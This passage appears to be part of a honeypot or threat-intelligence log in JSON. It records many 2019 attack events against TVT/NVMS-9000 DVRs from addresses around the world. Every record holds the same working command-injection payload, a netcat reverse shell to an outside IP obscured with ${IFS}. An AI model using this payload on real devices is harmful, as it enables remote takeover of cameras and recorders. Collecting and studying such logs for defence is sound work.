  9146.       "source_ip_address": "175.140.45.250",
  9147.       "country": "MY",
  9148.       "user_agent": "Help",
  9149.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9150.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9151.       "target_port": 81,
  9152.       "protocol": "tcp",
  9153.       "tags": [
  9154.         {
  9155.           "cve": "",
  9156.           "category": "IoT",
  9157.           "description": "TVT (Generic OEM) DVR RCE"
  9158.         }
  9159.       ],
  9160.       "event_count": 1,
  9161.       "first_seen": "2019-12-20T00:58:22Z",
  9162.       "last_seen": "2019-12-20T00:58:22Z"
  9163.     },
  9164.     {
  9165.       "source_ip_address": "219.92.140.31",
  9166.       "country": "MY",
  9167.       "user_agent": "Help",
  9168.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9169.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9170.       "target_port": 8080,
  9171.       "protocol": "tcp",
  9172.       "tags": [
  9173.         {
  9174.           "cve": "",
  9175.           "category": "IoT",
  9176.           "description": "TVT (Generic OEM) DVR RCE"
  9177.         }
  9178.       ],
  9179.       "event_count": 139,
  9180.       "first_seen": "2019-12-20T00:58:08Z",
  9181.       "last_seen": "2019-12-20T00:58:08Z"
  9182.     },
  9183.     {
  9184.       "source_ip_address": "31.5.159.67",
  9185.       "country": "RO",
  9186.       "user_agent": "Help",
  9187.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9188.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9189.       "target_port": 8000,
  9190.       "protocol": "tcp",
  9191.       "tags": [
  9192.         {
  9193.           "cve": "",
  9194.           "category": "IoT",
  9195.           "description": "TVT (Generic OEM) DVR RCE"
  9196.         }
  9197.       ],
  9198.       "event_count": 139,
  9199.       "first_seen": "2019-12-20T00:55:59Z",
  9200.       "last_seen": "2019-12-20T00:55:59Z"
  9201.     },
  9202.     {
  9203.       "source_ip_address": "187.145.115.96",
  9204.       "country": "MX",
  9205.       "user_agent": "Help",
  9206.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9207.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9208.       "target_port": 8080,
  9209.       "protocol": "tcp",
  9210.       "tags": [
  9211.         {
  9212.           "cve": "",
  9213.           "category": "IoT",
  9214.           "description": "TVT (Generic OEM) DVR RCE"
  9215.         }
  9216.       ],
  9217.       "event_count": 1,
  9218.       "first_seen": "2019-12-20T00:49:33Z",
  9219.       "last_seen": "2019-12-20T00:49:33Z"
  9220.     },
  9221.     {
  9222.       "source_ip_address": "189.236.222.87",
  9223.       "country": "MX",
  9224.       "user_agent": "Help",
  9225.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9226.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9227.       "target_port": 88,
  9228.       "protocol": "tcp",
  9229.       "tags": [
  9230.         {
  9231.           "cve": "",
  9232.           "category": "IoT",
  9233.           "description": "TVT (Generic OEM) DVR RCE"
  9234.         }
  9235.       ],
  9236.       "event_count": 140,
  9237.       "first_seen": "2019-12-20T00:43:53Z",
  9238.       "last_seen": "2019-12-20T00:43:53Z"
  9239.     },
  9240.     {
  9241.       "source_ip_address": "42.188.39.156",
  9242.       "country": "MY",
  9243.       "user_agent": "Help",
  9244.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9245.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9246.       "target_port": 80,
  9247.       "protocol": "tcp",
  9248.       "tags": [
  9249.         {
  9250.           "cve": "",
  9251.           "category": "IoT",
  9252.           "description": "TVT (Generic OEM) DVR RCE"
  9253.         }
  9254.       ],
  9255.       "event_count": 2,
  9256.       "first_seen": "2019-12-20T00:39:59Z",
  9257.       "last_seen": "2019-12-20T00:39:59Z"
  9258.     },
  9259.     {
  9260.       "source_ip_address": "175.137.224.215",
  9261.       "country": "MY",
  9262.       "user_agent": "Help",
  9263.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9264.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9265.       "target_port": 8080,
  9266.       "protocol": "tcp",
  9267.       "tags": [
  9268.         {
  9269.           "cve": "",
  9270.           "category": "IoT",
  9271.           "description": "TVT (Generic OEM) DVR RCE"
  9272.         }
  9273.       ],
  9274.       "event_count": 1,
  9275.       "first_seen": "2019-12-20T00:21:21Z",
  9276.       "last_seen": "2019-12-20T00:21:21Z"
  9277.     },
  9278.     {
  9279.       "source_ip_address": "78.165.55.254",
  9280.       "country": "TR",
  9281.       "user_agent": "Help",
  9282.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9283.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9284.       "target_port": 81,
  9285.       "protocol": "tcp",
  9286.       "tags": [
  9287.         {
  9288.           "cve": "",
  9289.           "category": "IoT",
  9290.           "description": "TVT (Generic OEM) DVR RCE"
  9291.         }
  9292.       ],
  9293.       "event_count": 3,
  9294.       "first_seen": "2019-12-20T00:17:45Z",
  9295.       "last_seen": "2019-12-20T00:17:45Z"
  9296.     },
  9297.     {
  9298.       "source_ip_address": "220.94.32.178",
  9299.       "country": "KR",
  9300.       "user_agent": "Help",
  9301.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9302.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9303.       "target_port": 8080,
  9304.       "protocol": "tcp",
  9305.       "tags": [
  9306.         {
  9307.           "cve": "",
  9308.           "category": "IoT",
  9309.           "description": "TVT (Generic OEM) DVR RCE"
  9310.         }
  9311.       ],
  9312.       "event_count": 1,
  9313.       "first_seen": "2019-12-20T00:05:09Z",
  9314.       "last_seen": "2019-12-20T00:05:09Z"
  9315.     },
  9316.     {
  9317.       "source_ip_address": "24.90.184.128",
  9318.       "country": "US",
  9319.       "user_agent": "Help",
  9320.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9321.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9322.       "target_port": 8000,
  9323.       "protocol": "tcp",
  9324.       "tags": [
  9325.         {
  9326.           "cve": "",
  9327.           "category": "IoT",
  9328.           "description": "TVT (Generic OEM) DVR RCE"
  9329.         }
  9330.       ],
  9331.       "event_count": 1,
  9332.       "first_seen": "2019-12-20T00:00:43Z",
  9333.       "last_seen": "2019-12-20T00:00:43Z"
  9334.     },
  9335.     {
  9336.       "source_ip_address": "50.237.128.182",
  9337.       "country": "US",
  9338.       "user_agent": "Help",
  9339.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9340.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9341.       "target_port": 88,
  9342.       "protocol": "tcp",
  9343.       "tags": [
  9344.         {
  9345.           "cve": "",
  9346.           "category": "IoT",
  9347.           "description": "TVT (Generic OEM) DVR RCE"
  9348.         }
  9349.       ],
  9350.       "event_count": 2,
  9351.       "first_seen": "2019-12-19T23:57:41Z",
  9352.       "last_seen": "2019-12-19T23:57:41Z"
  9353.     },
  9354.     {
  9355.       "source_ip_address": "79.108.210.122",
  9356.       "country": "ES",
  9357.       "user_agent": "Help",
  9358.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9359.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9360.       "target_port": 8080,
  9361.       "protocol": "tcp",
  9362.       "tags": [
  9363.         {
  9364.           "cve": "",
  9365.           "category": "IoT",
  9366.           "description": "TVT (Generic OEM) DVR RCE"
  9367.         }
  9368.       ],
  9369.       "event_count": 1,
  9370.       "first_seen": "2019-12-19T23:38:24Z",
  9371.       "last_seen": "2019-12-19T23:38:24Z"
  9372.     },
  9373.     {
  9374.       "source_ip_address": "59.126.159.144",
  9375.       "country": "TW",
  9376.       "user_agent": "Help",
  9377.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9378.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9379.       "target_port": 88,
  9380.       "protocol": "tcp",
  9381.       "tags": [
  9382.         {
  9383.           "cve": "",
  9384.           "category": "IoT",
  9385.           "description": "TVT (Generic OEM) DVR RCE"
  9386.         }
  9387.       ],
  9388.       "event_count": 1,
  9389.       "first_seen": "2019-12-19T23:29:39Z",
  9390.       "last_seen": "2019-12-19T23:29:39Z"
  9391.     },
  9392.     {
  9393.       "source_ip_address": "220.135.86.102",
  9394.       "country": "TW",
  9395.       "user_agent": "Help",
  9396.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9397.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9398.       "target_port": 81,
  9399.       "protocol": "tcp",
  9400.       "tags": [
  9401.         {
  9402.           "cve": "",
  9403.           "category": "IoT",
  9404.           "description": "TVT (Generic OEM) DVR RCE"
  9405.         }
  9406.       ],
  9407.       "event_count": 1,
  9408.       "first_seen": "2019-12-19T23:15:29Z",
  9409.       "last_seen": "2019-12-19T23:15:29Z"
  9410.     },
  9411.     {
  9412.       "source_ip_address": "74.94.80.101",
  9413.       "country": "US",
  9414.       "user_agent": "Help",
  9415.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9416.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9417.       "target_port": 8000,
  9418.       "protocol": "tcp",
  9419.       "tags": [
  9420.         {
  9421.           "cve": "",
  9422.           "category": "IoT",
  9423.           "description": "TVT (Generic OEM) DVR RCE"
  9424.         }
  9425.       ],
  9426.       "event_count": 1,
  9427.       "first_seen": "2019-12-19T23:13:08Z",
  9428.       "last_seen": "2019-12-19T23:13:08Z"
  9429.     },
  9430.     {
  9431.       "source_ip_address": "189.123.41.100",
  9432.       "country": "BR",
  9433.       "user_agent": "Help",
  9434.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9435.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9436.       "target_port": 80,
  9437.       "protocol": "tcp",
  9438.       "tags": [
  9439.         {
  9440.           "cve": "",
  9441.           "category": "IoT",
  9442.           "description": "TVT (Generic OEM) DVR RCE"
  9443.         }
  9444.       ],
  9445.       "event_count": 1,
  9446.       "first_seen": "2019-12-19T22:57:10Z",
  9447.       "last_seen": "2019-12-19T22:57:10Z"
  9448.     },
  9449.     {
  9450.       "source_ip_address": "71.87.235.99",
  9451.       "country": "US",
  9452.       "user_agent": "Help",
  9453.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9454.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9455.       "target_port": 81,
  9456.       "protocol": "tcp",
  9457.       "tags": [
  9458.         {
  9459.           "cve": "",
  9460.           "category": "IoT",
  9461.           "description": "TVT (Generic OEM) DVR RCE"
  9462.         }
  9463.       ],
  9464.       "event_count": 1,
  9465.       "first_seen": "2019-12-19T22:56:27Z",
  9466.       "last_seen": "2019-12-19T22:56:27Z"
  9467.     },
  9468.     {
  9469.       "source_ip_address": "102.182.92.231",
  9470.       "country": "ZA",
  9471.       "user_agent": "Help",
  9472.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9473.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9474.       "target_port": 80,
  9475.       "protocol": "tcp",
  9476.       "tags": [
  9477.         {
  9478.           "cve": "",
  9479.           "category": "IoT",
  9480.           "description": "TVT (Generic OEM) DVR RCE"
  9481.         }
  9482.       ],
  9483.       "event_count": 1,
  9484.       "first_seen": "2019-12-19T22:49:56Z",
  9485.       "last_seen": "2019-12-19T22:49:56Z"
  9486.     },
  9487.     {
  9488.       "source_ip_address": "115.134.229.14",
  9489.       "country": "MY",
  9490.       "user_agent": "Help",
  9491.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9492.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9493.       "target_port": 8080,
  9494.       "protocol": "tcp",
  9495.       "tags": [
  9496.         {
  9497.           "cve": "",
  9498.           "category": "IoT",
  9499.           "description": "TVT (Generic OEM) DVR RCE"
  9500.         }
  9501.       ],
  9502.       "event_count": 1,
  9503.       "first_seen": "2019-12-19T22:46:19Z",
  9504.       "last_seen": "2019-12-19T22:46:19Z"
  9505.     },
  9506.     {
  9507.       "source_ip_address": "72.252.224.93",
  9508.       "country": "JM",
  9509.       "user_agent": "Help",
  9510.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9511.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9512.       "target_port": 8080,
  9513.       "protocol": "tcp",
  9514.       "tags": [
  9515.         {
  9516.           "cve": "",
  9517.           "category": "IoT",
  9518.           "description": "TVT (Generic OEM) DVR RCE"
  9519.         }
  9520.       ],
  9521.       "event_count": 1,
  9522.       "first_seen": "2019-12-19T22:18:04Z",
  9523.       "last_seen": "2019-12-19T22:18:04Z"
  9524.     },
  9525.     {
  9526.       "source_ip_address": "31.13.206.100",
  9527.       "country": "BG",
  9528.       "user_agent": "Help",
  9529.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9530.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9531.       "target_port": 8080,
  9532.       "protocol": "tcp",
  9533.       "tags": [
  9534.         {
  9535.           "cve": "",
  9536.           "category": "IoT",
  9537.           "description": "TVT (Generic OEM) DVR RCE"
  9538.         }
  9539.       ],
  9540.       "event_count": 1,
  9541.       "first_seen": "2019-12-19T22:08:54Z",
  9542.       "last_seen": "2019-12-19T22:08:54Z"
  9543.     },
  9544.     {
  9545.       "source_ip_address": "123.193.215.26",
  9546.       "country": "TW",
  9547.       "user_agent": "Help",
  9548.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9549.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9550.       "target_port": 80,
  9551.       "protocol": "tcp",
  9552.       "tags": [
  9553.         {
  9554.           "cve": "",
  9555.           "category": "IoT",
  9556.           "description": "TVT (Generic OEM) DVR RCE"
  9557.         }
  9558.       ],
  9559.       "event_count": 1,
  9560.       "first_seen": "2019-12-19T22:08:52Z",
  9561.       "last_seen": "2019-12-19T22:08:52Z"
  9562.     },
  9563.     {
  9564.       "source_ip_address": "179.95.58.170",
  9565.       "country": "BR",
  9566.       "user_agent": "Help",
  9567.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9568.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9569.       "target_port": 81,
  9570.       "protocol": "tcp",
  9571.       "tags": [
  9572.         {
  9573.           "cve": "",
  9574.           "category": "IoT",
  9575.           "description": "TVT (Generic OEM) DVR RCE"
  9576.         }
  9577.       ],
  9578.       "event_count": 1,
  9579.       "first_seen": "2019-12-19T21:24:04Z",
  9580.       "last_seen": "2019-12-19T21:24:04Z"
  9581.     },
  9582.     {
  9583.       "source_ip_address": "187.195.13.126",
  9584.       "country": "MX",
  9585.       "user_agent": "Help",
  9586.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9587.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9588.       "target_port": 8080,
  9589.       "protocol": "tcp",
  9590.       "tags": [
  9591.         {
  9592.           "cve": "",
  9593.           "category": "IoT",
  9594.           "description": "TVT (Generic OEM) DVR RCE"
  9595.         }
  9596.       ],
  9597.       "event_count": 1,
  9598.       "first_seen": "2019-12-19T21:19:05Z",
  9599.       "last_seen": "2019-12-19T21:19:05Z"
  9600.     },
  9601.     {
